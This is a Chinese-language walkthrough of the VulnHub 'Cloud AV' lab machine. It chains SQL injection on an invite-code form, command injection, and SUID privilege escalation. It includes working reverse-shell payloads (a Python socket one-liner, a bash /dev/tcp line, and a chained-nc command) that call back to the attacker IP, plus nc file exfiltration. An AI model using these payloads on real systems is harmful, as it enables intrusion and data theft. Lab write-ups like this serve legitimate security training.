靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
将靶机设置为NAT模式并启动。
主机发现&信息收集
nmap扫描本地网段
nmap -sn 192.168.50.1/24
136是kali,137就是我们的目标靶机。
接着收集靶场信息:
nmap -sV -Pn -O 192.168.50.137
开放了22,8080端口,分别运行了ssh和http服务,Werkzeug是一个工具包,作为web框架的底层库。
web测试
访问8080端口
有一个输入框,提示需要输入正确的邀请码才能使用云杀软扫描器。也就是类似于密码,针对这种情况,我们有一般两个思路,一是使用sql注入无密码登陆后台,二是暴力破解密码,这里使用sql注入,邀请码基本上都不是纯数字,所以可以判断为字符型注入。
先来测试一下,输入 and 1=2
和随便输入的结果一样,提示输入的信息有错误,说明确实是字符型注入。接着判断闭合符号,跑一遍键盘上的所有符号。
发现双引号的响应值和长度异常,从双引号的返回页面中看到
说明双引号就是这个字符型的闭合方式。(一般在真实的渗透环境中,字符型注入的闭合方式都比较简单,只有ctf中才会有奇奇怪怪的闭合方式)
使用万能语句绕过:" or 1=1 --+
随便输入一个1
从返回的结果中猜测这里是我们输入一个名称以后,会被拼接成为一条启动杀毒程序的命令语句放到命令行执行,那么这里可能存在命令执行漏洞。
使用管道符拼接命令,输入1|id
,返回结果如下:
命令成功执行了,接着来执行个反弹shell的命令,因为这里是python环境,使用下面命令反弹:
1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.136",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功拿到shell
如果没有python环境可以用下面命令反弹shell
1|echo "bash -i >& /dev/tcp/192.168.50.136/7777 0>&1" | bash
权限提升
ls查看当前目录,看到有个 database.sql 文件,应该是Web应用的数据库,发现是sqlite文件
靶机没有安装sqlite环境,只能将其下载到kali上,使用NC传输文件:
攻击机:nc -lvp 8888 > database.sql
靶机:nc 192.168.50.136 8888 < database.sql
接受到文件后打开
是一些密码,由于靶机开启了22端口,尝试找到有 bash 环境的用户进行密码爆破
cat /etc/passwd | grep /bin/bash
这三个用户有bash环境
但是没有爆破成功,看来这确实只是个web应用的密码。
SUID提权:
尝试内核漏洞提权,没有找到可以利用的exp:
尝试suid提权,使用find命令查找具有suid权限的文件
find / -perm /4000 -type f 2>/dev/null
-perm /4000:这是 find 命令的选项之一,用于指定文件权限。/4000 表示文件权限中的 SUID 位被设置。
-type f:这是 find 命令的另一个选项,用于指定要查找的文件类型为普通文件。
2>/dev/null:这部分是重定向操作符,将标准错误输出(stderr)重定向到 /dev/null,即丢弃错误消息。
看到了这个文件,进入对应目录查看
可以看到有个s,update_cloudav是一个具有suid权限的可执行文件,文件执行时是root权限,所属组是当前scanner用户,不需要使用sudo命令。
这里我们可以想到 update_cloudav.c 就是这个可执行文件的C语言源码,读取一下源文件:
源码审计:内容就是执行病毒库的更新程序,调用 freshclam 程序,需要带有参数才能正常执行,带的参数也会放到 system 函数中执行,否则会报错。
可以尝试让参数是反弹shell的命令,构造payload:
./update_cloudav "a |nc 192.168.50.136 4444|/bin/bash|nc 192.168.50.136 5555"
因为靶机 nc 没有-e参数,利用nc串联来解决。kali开两个终端,分别监听4444、5555端口。
提权成功。
遇到的问题
靶机获取不到ip地址,解决办法:
https://blog.csdn.net/qq_41918771/article/details/103636890
https://blog.csdn.net/qq_40806266/article/details/124117573